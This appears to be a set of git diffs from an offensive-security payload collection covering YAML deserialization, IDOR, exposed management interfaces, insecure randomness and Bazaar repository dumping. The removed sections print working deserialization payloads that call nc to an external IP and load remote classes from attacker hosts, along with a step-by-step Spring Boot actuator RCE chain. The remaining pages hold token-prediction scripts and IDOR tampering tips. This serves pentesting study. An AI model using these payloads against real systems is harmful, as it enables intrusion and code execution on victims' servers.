* [Blind Remote Code Execution through YAML Deserialization - 09 JUNE 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/) * [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://web.archive.org/web/20210610111705/https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)

View File

@@ -1,99 +0,0 @@
# YAML Deserialization
## Summary
* [Tools](#tools)
* [Exploit](#exploit)
* [PyYAML](#pyyaml)
* [ruamel.yaml](#ruamelyaml)
* [Ruby](#ruby)
* [SnakeYAML](#snakeyaml)
* [References](#references)
## Tools
* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator)
* [artsploit/yaml-payload](https://github.com/artsploit/yaml-payload) - A tiny project for generating SnakeYAML deserialization payloads
* [mbechler/marshalsec](https://github.com/mbechler/marshalsec)
## Exploit
### PyYAML
```yaml
!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]
```
```yaml
!!python/object/apply:subprocess.Popen
- ls
```
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Since PyYaml version 6.0, the default loader for ```load``` has been switched to SafeLoader mitigating the risks against Remote Code Execution.
[PR fixing the vulnerabily](https://github.com/yaml/pyyaml/issues/420)
The vulnerable sinks are now ```yaml.unsafe_load``` and ```yaml.load(input, Loader=yaml.UnsafeLoader)```
```
with open('exploit_unsafeloader.yml') as file:
data = yaml.load(file,Loader=yaml.UnsafeLoader)
```
## Ruamel.yaml
## Ruby
```ruby
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: sleep 600
method_id: :resolve
```
## SnakeYAML
```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip/"]
]]
]
```
## References
* [Python Yaml Deserialization - hacktricks.xyz][https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization]
* [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13][https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf]
* [PyYAML Documentation](https://pyyaml.org/wiki/PyYAMLDocumentation)
* [Blind Remote Code Execution through YAML Deserialization - 09 JUNE 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)
* [[CVE-2019-20477]- 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - @_j0lt](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)

View File

@@ -1,39 +1,31 @@
# Insecure Direct Object References # Insecure Direct Object References
> Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files. - OWASP > Insecure Direct Object References (IDOR) is a security vulnerability that occurs when an application allows users to directly access or modify objects (such as files, database records, or URLs) based on user-supplied input, without sufficient access controls. This means that if a user changes a parameter value (like an ID) in a URL or API request, they might be able to access or manipulate data that they arent authorized to see or modify.
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Labs](#labs) * [Methodology](#methodology)
* [Exploit](#exploit)
* [Numeric Value Parameter](#numeric-value-parameter) * [Numeric Value Parameter](#numeric-value-parameter)
* [Common Identifiers Parameter](#common-identifiers-parameter) * [Common Identifiers Parameter](#common-identifiers-parameter)
* [Weak Pseudo Random Number Generator](#weak-pseudo-random-number-generator) * [Weak Pseudo Random Number Generator](#weak-pseudo-random-number-generator)
* [Hashed Parameter](#hashed-parameter) * [Hashed Parameter](#hashed-parameter)
* [Wildcard Parameter](#wildcard-parameter) * [Wildcard Parameter](#wildcard-parameter)
* [IDOR Tips](#idor-tips) * [IDOR Tips](#idor-tips)
* [Labs](#labs)
* [References](#references) * [References](#references)
## Tools ## Tools
- [PortSwigger/BApp Store > Authz](https://portswigger.net/bappstore/4316cc18ac5f434884b2089831c7d19e) * [PortSwigger/BApp Store > Authz](https://portswigger.net/bappstore/4316cc18ac5f434884b2089831c7d19e)
- [PortSwigger/BApp Store > AuthMatrix](https://portswigger.net/bappstore/30d8ee9f40c041b0bfec67441aad158e) * [PortSwigger/BApp Store > AuthMatrix](https://portswigger.net/bappstore/30d8ee9f40c041b0bfec67441aad158e)
- [PortSwigger/BApp Store > Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f) * [PortSwigger/BApp Store > Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f)
## Methodology
## Labs
* [PortSwigger - Insecure Direct Object References](https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references)
## Exploit
IDOR stands for Insecure Direct Object Reference. It's a type of security vulnerability that arises when an application provides direct access to objects based on user-supplied input. As a result, attackers can bypass authorization and access resources in the system directly, potentially leading to unauthorized information disclosure, modification, or deletion. IDOR stands for Insecure Direct Object Reference. It's a type of security vulnerability that arises when an application provides direct access to objects based on user-supplied input. As a result, attackers can bypass authorization and access resources in the system directly, potentially leading to unauthorized information disclosure, modification, or deletion.
**Example of IDOR** **Example of IDOR**:
Imagine a web application that allows users to view their profile by clicking a link `https://example.com/profile?user_id=123`: Imagine a web application that allows users to view their profile by clicking a link `https://example.com/profile?user_id=123`:
@@ -52,16 +44,15 @@ https://example.com/profile?user_id=124
![https://lh5.googleusercontent.com/VmLyyGH7dGxUOl60h97Lr57F7dcnDD8DmUMCZTD28BKivVI51BLPIqL0RmcxMPsmgXgvAqY8WcQ-Jyv5FhRiCBueX9Wj0HSCBhE-_SvrDdA6_wvDmtMSizlRsHNvTJHuy36LG47lstLpTqLK](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Insecure%20Direct%20Object%20References/Images/idor.png) ![https://lh5.googleusercontent.com/VmLyyGH7dGxUOl60h97Lr57F7dcnDD8DmUMCZTD28BKivVI51BLPIqL0RmcxMPsmgXgvAqY8WcQ-Jyv5FhRiCBueX9Wj0HSCBhE-_SvrDdA6_wvDmtMSizlRsHNvTJHuy36LG47lstLpTqLK](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Insecure%20Direct%20Object%20References/Images/idor.png)
### Numeric Value Parameter ### Numeric Value Parameter
Increment and decrement these values to access sensitive informations. Increment and decrement these values to access sensitive information.
* Decimal value: `287789`, `287790`, `287791`, ... * Decimal value: `287789`, `287790`, `287791`, ...
* Hexadecimal: `0x4642d`, `0x4642e`, `0x4642f`, ... * Hexadecimal: `0x4642d`, `0x4642e`, `0x4642f`, ...
* Unix epoch timestamp: `1695574808`, `1695575098`, ... * Unix epoch timestamp: `1695574808`, `1695575098`, ...
**Examples** **Examples**:
* [HackerOne - IDOR to view User Order Information - meals](https://hackerone.com/reports/287789) * [HackerOne - IDOR to view User Order Information - meals](https://hackerone.com/reports/287789)
* [HackerOne - Delete messages via IDOR - naaash](https://hackerone.com/reports/697412) * [HackerOne - Delete messages via IDOR - naaash](https://hackerone.com/reports/697412)
@@ -74,11 +65,10 @@ Some identifiers can be guessed like names and emails, they might grant you acce
* Email: `john.doe@mail.com` * Email: `john.doe@mail.com`
* Base64 encoded value: `am9obi5kb2VAbWFpbC5jb20=` * Base64 encoded value: `am9obi5kb2VAbWFpbC5jb20=`
**Examples** **Examples**:
* [HackerOne - Insecure Direct Object Reference (IDOR) - Delete Campaigns - datph4m](https://hackerone.com/reports/1969141) * [HackerOne - Insecure Direct Object Reference (IDOR) - Delete Campaigns - datph4m](https://hackerone.com/reports/1969141)
### Weak Pseudo Random Number Generator ### Weak Pseudo Random Number Generator
* UUID/GUID v1 can be predicted if you know the time they were created: `95f6e264-bb00-11ec-8833-00155d01ef00` * UUID/GUID v1 can be predicted if you know the time they were created: `95f6e264-bb00-11ec-8833-00155d01ef00`
@@ -88,12 +78,11 @@ Some identifiers can be guessed like names and emails, they might grant you acce
* a 2-byte process id * a 2-byte process id
* a 3-byte counter, starting with a random value * a 3-byte counter, starting with a random value
**Examples** **Examples**:
* [HackerOne - IDOR allowing to read another user's token on the Social Media Ads service - a_d_a_m](https://hackerone.com/reports/1464168) * [HackerOne - IDOR allowing to read another user's token on the Social Media Ads service - a_d_a_m](https://hackerone.com/reports/1464168)
* [IDOR through MongoDB Object IDs Prediction](https://techkranti.com/idor-through-mongodb-object-ids-prediction/) * [IDOR through MongoDB Object IDs Prediction](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
### Hashed Parameter ### Hashed Parameter
Sometimes we see websites using hashed values to generate a random user id or token, like `sha1(username)`, `md5(email)`, ... Sometimes we see websites using hashed values to generate a random user id or token, like `sha1(username)`, `md5(email)`, ...
@@ -102,26 +91,19 @@ Sometimes we see websites using hashed values to generate a random user id or to
* SHA1: `a94a8fe5ccb19ba61c4c0873d391e987982fbbd3` * SHA1: `a94a8fe5ccb19ba61c4c0873d391e987982fbbd3`
* SHA2: `9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08` * SHA2: `9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08`
**Examples** **Examples**:
* [IDOR with Predictable HMAC Generation - DiceCTF 2022 - CryptoCat](https://youtu.be/Og5_5tEg6M0) * [IDOR with Predictable HMAC Generation - DiceCTF 2022 - CryptoCat](https://youtu.be/Og5_5tEg6M0)
### Wildcard Parameter ### Wildcard Parameter
Send a wilcard instead of an ID, some backend might respond with the data of all the users. Send a wildcard (`*`, `%`, `.`, `_`) instead of an ID, some backend might respond with the data of all the users.
* `GET /api/users/* HTTP/1.1` * `GET /api/users/* HTTP/1.1`
* `GET /api/users/% HTTP/1.1` * `GET /api/users/% HTTP/1.1`
* `GET /api/users/_ HTTP/1.1` * `GET /api/users/_ HTTP/1.1`
* `GET /api/users/. HTTP/1.1` * `GET /api/users/. HTTP/1.1`
**Examples**
* [TODO]()
### IDOR Tips ### IDOR Tips
* Change the HTTP request: `POST → PUT` * Change the HTTP request: `POST → PUT`
@@ -129,16 +111,19 @@ Send a wilcard instead of an ID, some backend might respond with the data of all
* Transform numerical values to arrays: `{"id":19} → {"id":[19]}` * Transform numerical values to arrays: `{"id":19} → {"id":[19]}`
* Use Parameter Pollution: `user_id=hacker_id&user_id=victim_id` * Use Parameter Pollution: `user_id=hacker_id&user_id=victim_id`
## Labs
* [PortSwigger - Insecure Direct Object References](https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references)
## References ## References
* [OWASP - Testing for Insecure Direct Object References (OTG-AUTHZ-004)](https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004)) * [From Christmas present in the blockchain to massive bug bounty - Jesse Lakerveld - March 21, 2018](http://web.archive.org/web/20180401130129/https://www.vicompany.nl/magazine/from-christmas-present-in-the-blockchain-to-massive-bug-bounty)
* [OWASP - Insecure Direct Object Reference Prevention Cheat Sheet](https://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet) * [How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards - Sam Houton - November 9, 2017](https://web.archive.org/web/20260221194813/https://www.bugcrowd.com/blog/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/)
* [BUGCROWD - How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards - Sam Houton](https://www.bugcrowd.com/blog/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/) * [Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit (PART-1) - Mohammed Abdul Raheem - February 2, 2018](https://web.archive.org/web/20190509043727/https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782)
* [Manipulation of ETH balance](https://www.vicompany.nl/magazine/from-christmas-present-in-the-blockchain-to-massive-bug-bounty) * [IDOR - how to predict an identifier? Bug bounty case study - Bug Bounty Reports Explained - September 21, 2023](https://web.archive.org/web/20231027235449/https://youtu.be/wx5TwS0Dres)
* [Viewing private Airbnb Messages](http://buer.haus/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages/) * [Insecure Direct Object Reference Prevention Cheat Sheet - OWASP - July 31, 2023](https://web.archive.org/web/20140316052400/https://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet)
* [Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit (PART-1) - Mohammed Abdul Raheem - Feb 2, 2018](https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782) * [Insecure direct object references (IDOR) - PortSwigger - December 25, 2019](https://web.archive.org/web/20260301072233/https://portswigger.net/web-security/access-control/idor)
* [IDOR - how to predict an identifier? Bug bounty case study - Bug Bounty Reports Explained - ](https://youtu.be/wx5TwS0Dres) * [Testing for IDORs - PortSwigger - October 29, 2024](https://web.archive.org/web/20230604162333/https://portswigger.net/burp/documentation/desktop/testing-workflow/access-controls/testing-for-idors)
* [Testing for IDORs - PortSwigger](https://portswigger.net/burp/documentation/desktop/testing-workflow/access-controls/testing-for-idors) * [Testing for Insecure Direct Object References (OTG-AUTHZ-004) - OWASP - August 8, 2014](https://web.archive.org/web/20170712205114/https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004))
* [Insecure direct object references (IDOR) - PortSwigger](https://portswigger.net/web-security/access-control/idor) * [The Rise of IDOR - HackerOne - April 2, 2021](https://web.archive.org/web/20211004153030/https://www.hackerone.com/company-news/rise-idor)
* [The Rise of IDOR - HackerOne - April 2nd, 2021](https://www.hackerone.com/company-news/rise-idor) * [Web to App Phone Notification IDOR to view Everyone's Airbnb Messages - Brett Buerhaus - March 31, 2017](https://web.archive.org/web/20170408053950/http://buer.haus:80/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages)

View File

@@ -1,94 +1,42 @@
# Insecure Management Interface # Insecure Management Interface
## Springboot-Actuator > Insecure Management Interface refers to vulnerabilities in administrative interfaces used for managing servers, applications, databases, or network devices. These interfaces often control sensitive settings and can have powerful access to system configurations, making them prime targets for attackers.
> Insecure Management Interfaces may lack proper security measures, such as strong authentication, encryption, or IP restrictions, allowing unauthorized users to potentially gain control over critical systems. Common issues include using default credentials, unencrypted communications, or exposing the interface to the public internet.
Actuator endpoints let you monitor and interact with your application. ## Summary
Spring Boot includes a number of built-in endpoints and lets you add your own.
For example, the `/health` endpoint provides basic application health information.
Some of them contains sensitive info such as : * [Methodology](#methodology)
* [References](#references)
- `/trace` - Displays trace information (by default the last 100 HTTP requests with headers). ## Methodology
- `/env` - Displays the current environment properties (from Springs ConfigurableEnvironment).
- `/heapdump` - Builds and returns a heap dump from the JVM used by our application.
- `/dump` - Displays a dump of threads (including a stack trace).
- `/logfile` - Outputs the contents of the log file.
- `/mappings` - Shows all of the MVC controller mappings.
These endpoints are enabled by default in Springboot 1.X. Insecure Management Interface vulnerabilities arise when administrative interfaces of systems or applications are improperly secured, allowing unauthorized or malicious users to gain access, modify configurations, or exploit sensitive operations. These interfaces are often critical for maintaining, monitoring, and controlling systems and must be secured rigorously.
Note: Sensitive endpoints will require a username/password when they are accessed over HTTP.
Since Springboot 2.X only `/health` and `/info` are enabled by default. * Lack of Authentication or Weak Authentication:
* Interfaces accessible without requiring credentials.
* Use of default or weak credentials (e.g., admin/admin).
### Remote Code Execution via `/env` ```ps1
nuclei -t http/default-logins -u https://example.com
```
Spring is able to load external configurations in the YAML format. * Exposure to the Public Internet
The YAML config is parsed with the SnakeYAML library, which is susceptible to deserialization attacks.
In other words, an attacker can gain remote code execution by loading a malicious config file.
#### Steps ```ps1
nuclei -t http/exposed-panels -u https://example.com
nuclei -t http/exposures -u https://example.com
```
1. Generate a payload of SnakeYAML deserialization gadget. * Sensitive data transmitted over plain HTTP or other unencrypted protocols
- Build malicious jar **Examples**:
```bash
git clone https://github.com/artsploit/yaml-payload.git
cd yaml-payload
# Edit the payload before executing the last commands (see below)
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
```
- Edit src/artsploit/AwesomeScriptEngineFactory.java * **Network Devices**: Routers, switches, or firewalls with default credentials or unpatched vulnerabilities.
* **Web Applications**: Admin panels without authentication or exposed via predictable URLs (e.g., /admin).
```java * **Cloud Services**: API endpoints without proper authentication or overly permissive roles.
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("ping rce.poc.attacker.example"); // COMMAND HERE
} catch (IOException e) {
e.printStackTrace();
}
}
```
- Create a malicious yaml config (yaml-payload.yml)
```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.example/yaml-payload.jar"]
]]
]
```
2. Host the malicious files on your server.
- yaml-payload.jar
- yaml-payload.yml
3. Change `spring.cloud.bootstrap.location` to your server.
```
POST /env HTTP/1.1
Host: victim.example:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://attacker.example/yaml-payload.yml
```
4. Reload the configuration.
```
POST /refresh HTTP/1.1
Host: victim.example:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
## References ## References
* [Springboot - Official Documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html) * [CAPEC-121: Exploit Non-Production Interfaces - CAPEC - July 30, 2020](https://web.archive.org/web/20260116113320/https://capec.mitre.org/data/definitions/121.html)
* [Exploiting Spring Boot Actuators - Veracode](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) * [Exploiting Spring Boot Actuators - Michael Stepankin - Feb 25, 2019](https://web.archive.org/web/20250116045001/https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
* [Springboot - Official Documentation - May 9, 2024](https://web.archive.org/web/20140725032126/http://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html)

View File

@@ -1,26 +1,65 @@
# Insecure Randomness # Insecure Randomness
> Insecure randomness refers to the weaknesses associated with random number generation in computing, particularly when such randomness is used for security-critical purposes. Vulnerabilities in random number generators (RNGs) can lead to predictable outputs that can be exploited by attackers, resulting in potential data breaches or unauthorized access.
## Summary ## Summary
* [Methodology](#methodology)
* [Time-Based Seeds](#time-based-seeds)
* [GUID / UUID](#guid--uuid) * [GUID / UUID](#guid--uuid)
* [GUID Versions](#guid-versions) * [GUID Versions](#guid-versions)
* [Tools](#tools)
* [Mongo ObjectId](#mongo-objectid) * [Mongo ObjectId](#mongo-objectid)
* [Tools](#tools) * [Uniqid](#uniqid)
* [mt_rand](#mt_rand)
* [Custom Algorithms](#custom-algorithms)
* [References](#references) * [References](#references)
## Methodology
Insecure randomness arises when the source of randomness or the method of generating random values is not sufficiently unpredictable. This can lead to predictable outputs, which can be exploited by attackers. Below, we examine common methods that are prone to insecure randomness, including time-based seeds, GUIDs, UUIDs, MongoDB ObjectIds, and the `uniqid()` function.
## Time-Based Seeds
Many random number generators (RNGs) use the current system time (e.g., milliseconds since epoch) as a seed. This approach can be insecure because the seed value can be easily predicted, especially in automated or scripted environments.
```py
import random
import time
seed = int(time.time())
random.seed(seed)
print(random.randint(1, 100))
```
The RNG is seeded with the current time, making it predictable for anyone who knows or can estimate the seed value.
By knowing the exact time, an attacker can regenerate the correct random value, here is an example for the date `2024-11-10 13:37`.
```python
import random
import time
# Seed based on the provided timestamp
seed = int(time.mktime(time.strptime('2024-11-10 13:37', '%Y-%m-%d %H:%M')))
random.seed(seed)
# Generate the random number
print(random.randint(1, 100))
```
## GUID / UUID ## GUID / UUID
A GUID (Globally Unique Identifier) or UUID (Universally Unique Identifier) is a 128-bit number used to uniquely identify information in computer systems. They are typically represented as a string of hexadecimal digits, divided into five groups separated by hyphens, such as `550e8400-e29b-41d4-a716-446655440000`. GUIDs/UUIDs are designed to be unique across both space and time, reducing the likelihood of duplication even when generated by different systems or at different times.
### GUID Versions ### GUID Versions
Version identification: `xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx` Version identification: `xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx`
The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself. The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.
| Version | Notes | | Version | Notes |
|----------|--------| |----------|--------|
| 0 | Only `00000000-0000-0000-0000-000000000000` | | 0 | Only `00000000-0000-0000-0000-000000000000` |
| 1 | based on time, or clock sequence | | 1 | based on time, or clock sequence |
| 2 | reserved in the RFC 4122, but ommitted in many implementations | | 2 | reserved in the RFC 4122, but omitted in many implementations |
| 3 | based on a MD5 hash | | 3 | based on a MD5 hash |
| 4 | randomly generated | | 4 | randomly generated |
| 5 | based on a SHA1 hash | | 5 | based on a SHA1 hash |
@@ -28,6 +67,7 @@ The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.
### Tools ### Tools
* [intruder-io/guidtool](https://github.com/intruder-io/guidtool) - A tool to inspect and attack version 1 GUIDs * [intruder-io/guidtool](https://github.com/intruder-io/guidtool) - A tool to inspect and attack version 1 GUIDs
```ps1 ```ps1
$ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00 $ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00
UUID version: 1 UUID version: 1
@@ -42,15 +82,21 @@ The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.
## Mongo ObjectId ## Mongo ObjectId
Mongo ObjectIds are generated in a predictable manner, the 12-byte ObjectId value consists of: Mongo ObjectIds are generated in a predictable manner, the 12-byte ObjectId value consists of:
* **Timestamp** (4 bytes): Represents the ObjectIds creation time, measured in seconds since the Unix epoch (January 1, 1970). * **Timestamp** (4 bytes): Represents the ObjectIds creation time, measured in seconds since the Unix epoch (January 1, 1970).
* **Machine Identifier** (3 bytes): Identifies the machine on which the ObjectId was generated. Typically derived from the machine's hostname or IP address, making it predictable for documents created on the same machine. * **Machine Identifier** (3 bytes): Identifies the machine on which the ObjectId was generated. Typically derived from the machine's hostname or IP address, making it predictable for documents created on the same machine.
* **Process ID** (2 bytes): Identifies the process that generated the ObjectId. Typically the process ID of the MongoDB server process, making it predictable for documents created by the same process. * **Process ID** (2 bytes): Identifies the process that generated the ObjectId. Typically the process ID of the MongoDB server process, making it predictable for documents created by the same process.
* **Counter** (3 bytes): A unique counter value that is incremented for each new ObjectId generated. Initialized to a random value when the process starts, but subsequent values are predictable as they are generated in sequence. * **Counter** (3 bytes): A unique counter value that is incremented for each new ObjectId generated. Initialized to a random value when the process starts, but subsequent values are predictable as they are generated in sequence.
Token example
* `5ae9b90a2c144b9def01ec37`, `5ae9bac82c144b9def01ec39`
### Tools ### Tools
* [andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict) - Predict Mongo ObjectIds * [andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict) - Predict Mongo ObjectIds
```ps1 ```ps1
./mongo-objectid-predict 5ae9b90a2c144b9def01ec37 ./mongo-objectid-predict 5ae9b90a2c144b9def01ec37
5ae9bac82c144b9def01ec39 5ae9bac82c144b9def01ec39
@@ -58,7 +104,106 @@ Mongo ObjectIds are generated in a predictable manner, the 12-byte ObjectId valu
5ae9bada2c144b9def01ec3b 5ae9bada2c144b9def01ec3b
``` ```
### References * Python script to recover the `timestamp`, `process` and `counter`
* [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust) ```py
* [IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020](https://techkranti.com/idor-through-mongodb-object-ids-prediction/) def MongoDB_ObjectID(timestamp, process, counter):
return "%08x%10x%06x" % (
timestamp,
process,
counter,
)
def reverse_MongoDB_ObjectID(token):
timestamp = int(token[0:8], 16)
process = int(token[8:18], 16)
counter = int(token[18:24], 16)
return timestamp, process, counter
def check(token):
(timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
return token == MongoDB_ObjectID(timestamp, process, counter)
tokens = ["5ae9b90a2c144b9def01ec37", "5ae9bac82c144b9def01ec39"]
for token in tokens:
(timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
print(f"{token}: {timestamp} - {process} - {counter}")
```
## Uniqid
Token derived using `uniqid` are based on timestamp and they can be reversed.
* [Riamse/python-uniqid](https://github.com/Riamse/python-uniqid/blob/master/uniqid.py) is based on a timestamp
* [php/uniqid](https://github.com/php/php-src/blob/master/ext/standard/uniqid.c)
Token examples
* uniqid: `6659cea087cd6`, `6659cea087cea`
* sha256(uniqid): `4b26d474c77daf9a94d82039f4c9b8e555ad505249437c0987f12c1b80de0bf4`, `ae72a4c4cdf77f39d1b0133394c0cb24c33c61c4505a9fe33ab89315d3f5a1e4`
### Tools
```py
import math
import datetime
def uniqid(timestamp: float) -> str:
sec = math.floor(timestamp)
usec = round(1000000 * (timestamp - sec))
return "%8x%05x" % (sec, usec)
def reverse_uniqid(value: str) -> float:
sec = int(value[:8], 16)
usec = int(value[8:], 16)
return float(f"{sec}.{usec}")
tokens = ["6659cea087cd6" , "6659cea087cea"]
for token in tokens:
t = float(reverse_uniqid(token))
d = datetime.datetime.fromtimestamp(t)
print(f"{token} - {t} => {d}")
```
## mt_rand
Breaking mt_rand() with two output values and no bruteforce.
* [ambionics/mt_rand-reverse](https://github.com/ambionics/mt_rand-reverse) - Script to recover mt_rand()'s seed with only two outputs and without any bruteforce.
```ps1
./display_mt_rand.php 12345678 123
712530069 674417379
./reverse_mt_rand.py 712530069 674417379 123 1
```
## Custom Algorithms
Creating your own randomness algorithm is generally not recommended. Below are some examples found on GitHub or StackOverflow that are sometimes used in production, but may not be reliable or secure.
* `$token = md5($emailId).rand(10,9999);`
* `$token = md5(time()+123456789 % rand(4000, 55000000));`
### Tools
Generic identification and sandwich attack:
* [AethliosIK/reset-tolkien](https://github.com/AethliosIK/reset-tolkien) - Insecure time-based secret exploitation and Sandwich attack implementation Resources
```ps1
reset-tolkien detect 660430516ffcf -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --timezone "-7"
reset-tolkien sandwich 660430516ffcf -bt 1711550546.485597 -et 1711550546.505134 -o output.txt --token-format="uniqid"
```
## References
* [Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - January 6, 2020](https://web.archive.org/web/20200106202157/https://www.ambionics.io/blog/php-mt-rand-prediction)
* [Cracking Time-Based Tokens: A Glimpse from a Workshop During leHACK 2025-Singularity - 4m1d0n - June 30, 2025](https://4m1d0n.github.io/retex-insecure-time-token-sandwich-attack/)
* [Exploiting Weak Pseudo-Random Number Generation in PHPs rand and srand Functions - Jacob Moore - October 18, 2023](https://web.archive.org/web/20250919151004/https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01)
* [IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020](https://web.archive.org/web/20200826103440/https://techkranti.com/idor-through-mongodb-object-ids-prediction)
* [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://web.archive.org/web/20221013100900/https://www.intruder.io/research/in-guid-we-trust)
* [Multi-sandwich attack with MongoDB Object ID or the scenario for real-time monitoring of web application invitations: a new use case for the sandwich attack - Tom CHAMBARETAUD (@AethliosIK) - July 18, 2024](https://web.archive.org/web/20260201082729/https://www.aeth.cc/public/Article-Reset-Tolkien/multi-sandwich-article-en.html)
* [Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de loutil “Reset Tolkien” - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://web.archive.org/web/20240408172738/https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-fr.html) *(FR)*
* [Unsecure time-based secret and Sandwich Attack - Analysis of my research and release of the “Reset Tolkien” tool - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://web.archive.org/web/20250531084109/https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-en.html) *(EN)*

View File

@@ -0,0 +1,52 @@
# Bazaar
> Bazaar (also known as bzr ) is a free, distributed version control system (DVCS) that helps you track project history over time and collaborate seamlessly with others. Developed by Canonical, Bazaar emphasizes ease of use, a flexible workflow, and rich features to cater to both individual developers and large teams.
## Summary
* [Tools](#tools)
* [rip-bzr.pl](#rip-bzrpl)
* [bzr_dumper](#bzr_dumper)
* [References](#references)
## Tools
### rip-bzr.pl
* [kost/dvcs-ripper/rip-bzr.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl)
```powershell
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u
```
### bzr_dumper
* [SeahunOh/bzr_dumper](https://github.com/SeahunOh/bzr_dumper)
```powershell
python3 dumper.py -u "http://127.0.0.1:5000/" -o source
Created a standalone tree (format: 2a)
[!] Target : http://127.0.0.1:5000/
[+] Start.
[+] GET repository/pack-names
[+] GET README
[+] GET checkout/dirstate
